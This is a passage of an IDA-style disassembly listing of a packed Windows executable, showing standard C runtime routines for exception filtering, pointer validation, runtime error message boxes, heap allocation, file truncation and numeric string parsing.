; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E5D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424EC3
		cmp	edx, ebx
		jnz	short loc_424EC3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_424F0E
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E5D+52j
					; sub_424E5D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_424ECC:				; CODE XREF: sub_424E5D+45j
					; sub_424E5D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_424EE4:				; CODE XREF: sub_424E5D+A6j
		test	ecx, esi
		jnz	short loc_424F05
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_424EE4
; ---------------------------------------------------------------------------


loc_424F05:				; CODE XREF: sub_424E5D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_424F0E:				; CODE XREF: sub_424E5D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424E5D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41E2C9
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_424F1C	proc near		; DATA XREF: sub_424F62o
					; .packed:0043D438o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_424F3F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_424F3F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_424F3F
		jmp	sub_422DFC
; ---------------------------------------------------------------------------


loc_424F3F:				; CODE XREF: sub_424F1C+Dj
					; sub_424F1C+13j ...
		mov	eax, dword_4DBFE8
		test	eax, eax
		jz	short loc_424F5C
		push	eax
		call	sub_424FB8
		test	eax, eax
		pop	ecx
		jz	short loc_424F5C
		push	esi
		call	dword_4DBFE8
		jmp	short loc_424F5E
; ---------------------------------------------------------------------------


loc_424F5C:				; CODE XREF: sub_424F1C+2Aj
					; sub_424F1C+35j
		xor	eax, eax


loc_424F5E:				; CODE XREF: sub_424F1C+3Ej
		pop	esi
		retn	4
sub_424F1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F62	proc near		; DATA XREF: .packed:00429024o
		push	offset sub_424F1C
		call	dword_427010	; SetUnhandledExceptionFilter
		mov	dword_4DBFE8, eax
		retn
sub_424F62	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F73	proc near		; DATA XREF: .packed:0042903Co
		push	dword_4DBFE8
		call	dword_427010	; SetUnhandledExceptionFilter
		retn
sub_424F73	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F80	proc near		; CODE XREF: sub_422651+6Bp
					; sub_422B62+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_42700C	; IsBadReadPtr
		test	eax, eax
		jz	short loc_424F98
		xor	esi, esi


loc_424F98:				; CODE XREF: sub_424F80+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F9C	proc near		; CODE XREF: sub_422B62+73p
					; sub_422B62+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_427060	; IsBadWritePtr
		test	eax, eax
		jz	short loc_424FB4
		xor	esi, esi


loc_424FB4:				; CODE XREF: sub_424F9C+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FB8	proc near		; CODE XREF: sub_422B62+15Bp
					; sub_424F1C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_427008	; IsBadCodePtr
		test	eax, eax
		jz	short loc_424FCC
		xor	esi, esi


loc_424FCC:				; CODE XREF: sub_424FB8+10j
		mov	eax, esi
		pop	esi
		retn
sub_424FB8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422DFC


loc_424FD0:				; CODE XREF: sub_422DFC:loc_422E4Dj
		push	0Ah
		call	sub_423DD1
		push	16h
		call	sub_425C06
		pop	ecx
		pop	ecx
		push	3
		call	sub_41C1A2
; END OF FUNCTION CHUNK	FOR sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_424FE7	proc near		; CODE XREF: sub_42367B+2Bp

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424FF8
		add	esp, 0Ch
		retn
sub_424FE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FF8	proc near		; CODE XREF: sub_424FE7+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DD261[eax], cl
		jnz	short loc_425025
		cmp	[esp+arg_4], 0
		jz	short loc_42501E
		movzx	eax, word_43CE82[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_425020
; ---------------------------------------------------------------------------


loc_42501E:				; CODE XREF: sub_424FF8+16j
		xor	eax, eax


loc_425020:				; CODE XREF: sub_424FF8+24j
		test	eax, eax
		jnz	short loc_425025
		retn
; ---------------------------------------------------------------------------


loc_425025:				; CODE XREF: sub_424FF8+Fj
					; sub_424FF8+2Aj
		push	1
		pop	eax
		retn
sub_424FF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_425029	proc near		; CODE XREF: sub_423DD1+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBFEC, ebx
		push	esi
		push	edi
		jnz	short loc_425078
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4270C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4250AE
		mov	esi, dword_4270C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi	; GetProcAddress
		test	eax, eax
		mov	dword_4DBFEC, eax
		jz	short loc_4250AE
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DBFF0, eax
		call	esi	; GetProcAddress
		mov	dword_4DBFF4, eax


loc_425078:				; CODE XREF: sub_425029+Bj
		mov	eax, dword_4DBFF0
		test	eax, eax
		jz	short loc_425097
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_425097
		mov	eax, dword_4DBFF4
		test	eax, eax
		jz	short loc_425097
		push	ebx
		call	eax
		mov	ebx, eax


loc_425097:				; CODE XREF: sub_425029+56j
					; sub_425029+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBFEC


loc_4250AA:				; CODE XREF: sub_425029+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4250AE:				; CODE XREF: sub_425029+1Cj
					; sub_425029+33j
		xor	eax, eax
		jmp	short loc_4250AA
sub_425029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4250B2	proc near		; CODE XREF: sub_42413E+22p
					; sub_42413E+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_4250D3
		test	esi, esi
		jnz	short loc_4250CD
		push	1
		pop	esi


loc_4250CD:				; CODE XREF: sub_4250B2+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_4250D3:				; CODE XREF: sub_4250B2+12j
					; sub_4250B2+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_425132
		mov	eax, dword_4DD388
		cmp	eax, 3
		jnz	short loc_4250FE
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DD380
		ja	short loc_42511D
		push	eax
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_425148
		jmp	short loc_42511D
; ---------------------------------------------------------------------------


loc_4250FE:				; CODE XREF: sub_4250B2+30j
		cmp	eax, 2
		jnz	short loc_42511D
		cmp	esi, dword_43CE74
		ja	short loc_42511D
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42515C


loc_42511D:				; CODE XREF: sub_4250B2+3Bj
					; sub_4250B2+4Aj ...
		push	esi
		push	8
		push	dword_4DD384
		call	dword_427150	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jnz	short loc_425156


loc_425132:				; CODE XREF: sub_4250B2+26j
		cmp	dword_4DBE48, 0
		jz	short loc_425156
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jz	short loc_42515F
		jmp	short loc_4250D3
; ---------------------------------------------------------------------------


loc_425148:				; CODE XREF: sub_4250B2+48j
		push	[ebp+arg_0]


loc_42514B:				; CODE XREF: sub_4250B2+ABj
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_425156:				; CODE XREF: sub_4250B2+7Ej
					; sub_4250B2+87j
		mov	eax, edi


loc_425158:				; CODE XREF: sub_4250B2+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42515C:				; CODE XREF: sub_4250B2+69j
		push	esi
		jmp	short loc_42514B
; ---------------------------------------------------------------------------


loc_42515F:				; CODE XREF: sub_4250B2+92j
		xor	eax, eax
		jmp	short loc_425158
sub_4250B2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241E3


loc_425163:				; CODE XREF: sub_4241E3+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DD020, esi
		jle	short loc_4251B6


loc_425172:				; CODE XREF: sub_4241E3+FD1j
		mov	eax, dword_4DC01C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4251AD
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_425191
		push	eax
		call	sub_41BA3B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_425191
		inc	edi


loc_425191:				; CODE XREF: sub_4241E3+F9Fj
					; sub_4241E3+FABj
		cmp	esi, 14h
		jl	short loc_4251AD
		mov	eax, dword_4DC01C
		push	dword ptr [eax+esi*4]
		call	sub_41BA91
		mov	eax, dword_4DC01C
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4251AD:				; CODE XREF: sub_4241E3+F99j
					; sub_4241E3+FB1j
		inc	esi
		cmp	esi, dword_4DD020
		jl	short loc_425172


loc_4251B6:				; CODE XREF: sub_4241E3+F8Dj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4241E3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251BB	proc near		; CODE XREF: sub_42423B+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DD140
		jnb	loc_4252F0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD040[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_4252F0
		push	1
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_4252FA
		push	2
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_4252FA
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_42529D
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41BF70


loc_425240:				; DATA XREF: .packed:off_438CB8o
		push	8000h
		push	ebx
		call	sub_425D78
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_425251:				; CODE XREF: sub_4251BB+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_42525C
		mov	eax, edi


loc_42525C:				; CODE XREF: sub_4251BB+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42527A
		sub	edi, eax
		test	edi, edi
		jle	short loc_425290
		jmp	short loc_425251
; ---------------------------------------------------------------------------


loc_42527A:				; CODE XREF: sub_4251BB+B5j
		cmp	dword_4DBDE0, 5
		jnz	short loc_42528D
		mov	dword_4DBDDC, 0Dh


loc_42528D:				; CODE XREF: sub_4251BB+C6j
		or	esi, 0FFFFFFFFh


loc_425290:				; CODE XREF: sub_4251BB+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425D78
		pop	ecx
		pop	ecx
		jmp	short loc_4252DD
; ---------------------------------------------------------------------------


loc_42529D:				; CODE XREF: sub_4251BB+71j
		jge	short loc_4252DD
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_422F09
		push	ebx
		call	sub_4240AA
		add	esp, 10h
		push	eax
		call	dword_427004	; SetEndOfFile
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4252DD
		mov	dword_4DBDDC, 0Dh
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4DBDE0, eax


loc_4252DD:				; CODE XREF: sub_4251BB+E0j
					; sub_4251BB:loc_42529Dj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_4252FD
; ---------------------------------------------------------------------------


loc_4252F0:				; CODE XREF: sub_4251BB+1Aj
					; sub_4251BB+36j
		mov	dword_4DBDDC, 9


loc_4252FA:				; CODE XREF: sub_4251BB+4Ej
					; sub_4251BB+63j
		or	eax, 0FFFFFFFFh


loc_4252FD:				; CODE XREF: sub_4251BB+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4251BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_425301	proc near		; CODE XREF: sub_4249DF+2Bp
					; sub_4249DF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425317
		cmp	ecx, esi
		jnb	short loc_42531A


loc_425317:				; CODE XREF: sub_425301+10j
		push	1
		pop	eax


loc_42531A:				; CODE XREF: sub_425301+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425301	endp


; =============== S U B	R O U T	I N E =======================================



sub_425322	proc near		; CODE XREF: sub_4253DB+40p
					; sub_4253DB+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		inc	dword ptr [esi+8]


loc_425354:				; CODE XREF: sub_425322+19j
					; sub_425322+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42536C
		inc	dword ptr [esi+8]


loc_42536C:				; CODE XREF: sub_425322+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425322	endp


; =============== S U B	R O U T	I N E =======================================



sub_425380	proc near		; CODE XREF: sub_4253DB+30p
					; sub_4253DB+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_425380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4253AE	proc near		; CODE XREF: sub_425973+1C8p
					; sub_425DEE+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_4253AE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4253DB	proc near		; CODE XREF: sub_4254A2+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_42544F
		push	edi
		mov	[ebp+arg_8], eax


loc_425402:				; CODE XREF: sub_4253DB+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_425380
		push	ebx
		call	sub_425380
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		push	ebx
		call	sub_425380
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_425322
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_425402
		xor	edx, edx
		pop	edi


loc_42544F:				; CODE XREF: sub_4253DB+21j
					; sub_4253DB+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_42547C
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_42544F
; ---------------------------------------------------------------------------


loc_42547C:				; CODE XREF: sub_4253DB+77j
		mov	esi, 8000h


loc_425481:				; CODE XREF: sub_4253DB+B9j
		test	[ebx+8], esi
		jnz	short loc_425496
		push	ebx
		call	sub_425380
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_425481
; ---------------------------------------------------------------------------


loc_425496:				; CODE XREF: sub_4253DB+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_4253DB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4254A2	proc near		; CODE XREF: sub_424D28+17p
					; sub_424D55+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_4254DD:				; CODE XREF: sub_4254A2+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_4254F3
		cmp	cl, 9
		jz	short loc_4254F3
		cmp	cl, 0Ah
		jz	short loc_4254F3
		cmp	cl, 0Dh
		jnz	short loc_4254F6


loc_4254F3:				; CODE XREF: sub_4254A2+40j
					; sub_4254A2+45j ...
		inc	edi
		jmp	short loc_4254DD
; ---------------------------------------------------------------------------


loc_4254F6:				; CODE XREF: sub_4254A2+4Fj
		push	4
		pop	esi


loc_4254F9:				; CODE XREF: sub_4254A2+AEj
					; sub_4254A2+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_42577C	; default
					; jumptable 00425505 case 10
		jmp	off_425943[eax*4] ; switch jump


loc_42550C:				; DATA XREF: .packed:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 0
		jl	short loc_42551D
		cmp	bl, 39h
		jg	short loc_42551D


loc_425516:				; CODE XREF: sub_4254A2+C4j
					; sub_4254A2+118j
		push	3
		jmp	loc_42573A
; ---------------------------------------------------------------------------


loc_42551D:				; CODE XREF: sub_4254A2+6Dj
					; sub_4254A2+72j
		cmp	bl, byte_43D088
		jnz	short loc_42552C


loc_425525:				; CODE XREF: sub_4254A2+124j
		push	5
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_42552C:				; CODE XREF: sub_4254A2+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_425552
		dec	eax
		dec	eax
		jz	short loc_425546
		sub	eax, 3
		jnz	loc_425815
		jmp	loc_4255D5
; ---------------------------------------------------------------------------


loc_425546:				; CODE XREF: sub_4254A2+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_425552:				; CODE XREF: sub_4254A2+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_4254F9
; ---------------------------------------------------------------------------


loc_42555B:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 1
		mov	[ebp+var_10], edx
		jl	short loc_425568
		cmp	bl, 39h
		jle	short loc_425516


loc_425568:				; CODE XREF: sub_4254A2+BFj
		cmp	bl, byte_43D088
		jz	loc_425630
		cmp	bl, 2Bh
		jz	short loc_4255AA
		cmp	bl, 2Dh
		jz	short loc_4255AA
		cmp	bl, 30h
		jz	short loc_4255D5


loc_425583:				; CODE XREF: sub_4254A2+207j
		cmp	bl, 43h
		jle	loc_425815
		cmp	bl, 45h
		jle	short loc_4255A3
		cmp	bl, 63h
		jle	loc_425815
		cmp	bl, 65h
		jg	loc_425815


loc_4255A3:				; CODE XREF: sub_4254A2+EDj
		push	6
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255AA:				; CODE XREF: sub_4254A2+D5j
					; sub_4254A2+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_425772
; ---------------------------------------------------------------------------


loc_4255B2:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		cmp	bl, 31h		; jumptable 00425505 case 2
		jl	short loc_4255C0
		cmp	bl, 39h
		jle	loc_425516


loc_4255C0:				; CODE XREF: sub_4254A2+113j
		cmp	bl, byte_43D088
		jz	loc_425525
		cmp	bl, 30h
		jnz	loc_42578A


loc_4255D5:				; CODE XREF: sub_4254A2+9Fj
					; sub_4254A2+DFj
		mov	eax, edx
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_4255DC:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		mov	[ebp+var_10], edx ; jumptable 00425505 case 3


loc_4255DF:				; CODE XREF: sub_4254A2+184j
		cmp	dword_43D084, edx
		jle	short loc_4255F8
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425606
; ---------------------------------------------------------------------------


loc_4255F8:				; CODE XREF: sub_4254A2+143j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425606:				; CODE XREF: sub_4254A2+154j
		test	eax, eax
		jz	short loc_425628
		cmp	[ebp+var_4], 19h
		jnb	short loc_425620
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_425623
; ---------------------------------------------------------------------------


loc_425620:				; CODE XREF: sub_4254A2+16Cj
		inc	[ebp+var_8]


loc_425623:				; CODE XREF: sub_4254A2+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_4255DF
; ---------------------------------------------------------------------------


loc_425628:				; CODE XREF: sub_4254A2+166j
		cmp	bl, byte_43D088
		jnz	short loc_425697


loc_425630:				; CODE XREF: sub_4254A2+CCj
		mov	eax, esi
		jmp	loc_4254F9
; ---------------------------------------------------------------------------


loc_425637:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		cmp	[ebp+var_4], 0	; jumptable 00425505 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_425650


loc_425643:				; CODE XREF: sub_4254A2+1ACj
		cmp	bl, 30h
		jnz	short loc_425650
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425643
; ---------------------------------------------------------------------------


loc_425650:				; CODE XREF: sub_4254A2+19Fj
					; sub_4254A2+1A4j ...
		cmp	dword_43D084, edx
		jle	short loc_425669
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_425677
; ---------------------------------------------------------------------------


loc_425669:				; CODE XREF: sub_4254A2+1B4j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_425677:				; CODE XREF: sub_4254A2+1C5j
		test	eax, eax
		jz	short loc_425697
		cmp	[ebp+var_4], 19h
		jnb	short loc_425692
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_425692:				; CODE XREF: sub_4254A2+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_425650
; ---------------------------------------------------------------------------


loc_425697:				; CODE XREF: sub_4254A2+18Cj
					; sub_4254A2+1D7j
		cmp	bl, 2Bh
		jz	loc_4255AA
		cmp	bl, 2Dh
		jz	loc_4255AA
		jmp	loc_425583
; ---------------------------------------------------------------------------


loc_4256AE:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		cmp	dword_43D084, edx ; jumptable 00425505 case 5
		mov	[ebp+var_24], edx
		jle	short loc_4256CA
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_41FDB5
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_4256D8
; ---------------------------------------------------------------------------


loc_4256CA:				; CODE XREF: sub_4254A2+215j
		mov	ecx, off_43CE78
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_4256D8:				; CODE XREF: sub_4254A2+226j
		test	eax, eax
		jz	loc_42578A
		mov	eax, esi
		jmp	short loc_42573B
; ---------------------------------------------------------------------------


loc_4256E4:				; CODE XREF: sub_4254A2+63j
					; DATA XREF: .packed:off_425943o
		lea	ecx, [edi-2]	; jumptable 00425505 case 6
		cmp	bl, 31h
